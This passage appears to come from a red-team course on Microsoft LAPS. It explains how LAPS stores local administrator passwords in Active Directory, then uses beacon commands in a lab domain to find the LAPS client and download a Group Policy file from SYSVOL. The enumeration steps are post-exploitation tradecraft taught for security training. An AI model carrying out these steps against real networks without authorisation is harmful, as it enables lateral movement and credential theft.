Organisations often have a build process for physical and virtual machines within their environment. It's common that everything is built from the same "gold image" to ensure consistency and compliance. However, these processes can result in every machine having the same password on accounts such as the local administrator. If one machine and therefore the local administrator password hash is compromised, an attacker may be able to move laterally to every machine in the domain using the same set of credentials.
LAPS is a Microsoft solution for managing the credentials of a local administrator account on every machine, either the default RID 500 or a custom account. It ensures that the password for each account is different, random, and automatically changed on a defined schedule. Permission to request and reset the credentials can be delegated, which are also auditable. Here is a quick summary of how LAPS works:
The Active Directory schema is extended and adds two new properties to computer objects, called ms-Mcs-AdmPwd and ms-Mcs-AdmPwdExpirationTime.
By default, the DACL on ms-Mcs-AdmPwd only grants read access to Domain Admins. Each computer object is given permission to update these properties on itself.
Rights to read AdmPwd can be delegated to other principals (users, groups etc), which is typically done at the OU level.
A new GPO template is installed, which is used to deploy the LAPS configuration to machines (different policies can be applied to different OUs).
The LAPS client is also installed on every machine (commonly distributed via GPO or a third-party software management solution).
When a machine performs a gpupdate, it will check the AdmPwdExpirationTime property on its own computer object in AD. If the time has elapsed, it will generate a new password (based on the LAPS policy) and sets it on the ms-Mcs-AdmPwd property.
There are a few methods to hunt for the presence of LAPS. If it's applied to a machine that you have access to, AdmPwd.dll will be on disk.
beacon> run hostname
wkstn-2
beacon> ls C:\Program Files\LAPS\CSE
Size Type Last Modified Name
---- ---- ------------- ----
179kb fil 05/05/2021 07:04:14 AdmPwd.dll
\
We could also search for GPOs that have "LAPS" or some other descriptive term in the name.
If we locate the correct GPO, we can download the LAPS configuration from the gpcfilesyspath.
beacon> ls \\dev.cyberbotic.io\SysVol\dev.cyberbotic.io\Policies\{2BE4337D-D231-4D23-A029-7B999885E659}\Machine
Size Type Last Modified Name
---- ---- ------------- ----
dir 08/16/2022 12:39:19 Applications
dir 09/13/2022 15:38:58 Microsoft
dir 08/16/2022 12:23:37 Preferences
dir 08/16/2022 12:21:04 Scripts
575b fil 08/16/2022 12:22:23 comment.cmtx
920b fil 08/16/2022 12:22:23 Registry.pol
beacon> download \\dev.cyberbotic.io\SysVol\dev.cyberbotic.io\Policies\{2BE4337D-D231-4D23-A029-7B999885E659}\Machine\Registry.pol
[*] started download of \\dev.cyberbotic.io\SysVol\dev.cyberbotic.io\Policies\{2BE4337D-D231-4D23-A029-7B999885E659}\Machine\Registry.pol (920 bytes)
[*] download of Registry.pol is complete
\
The Parse-PolFile cmdlet from the GPRegistryPolicyParser package can be used to convert this file into human-readable format.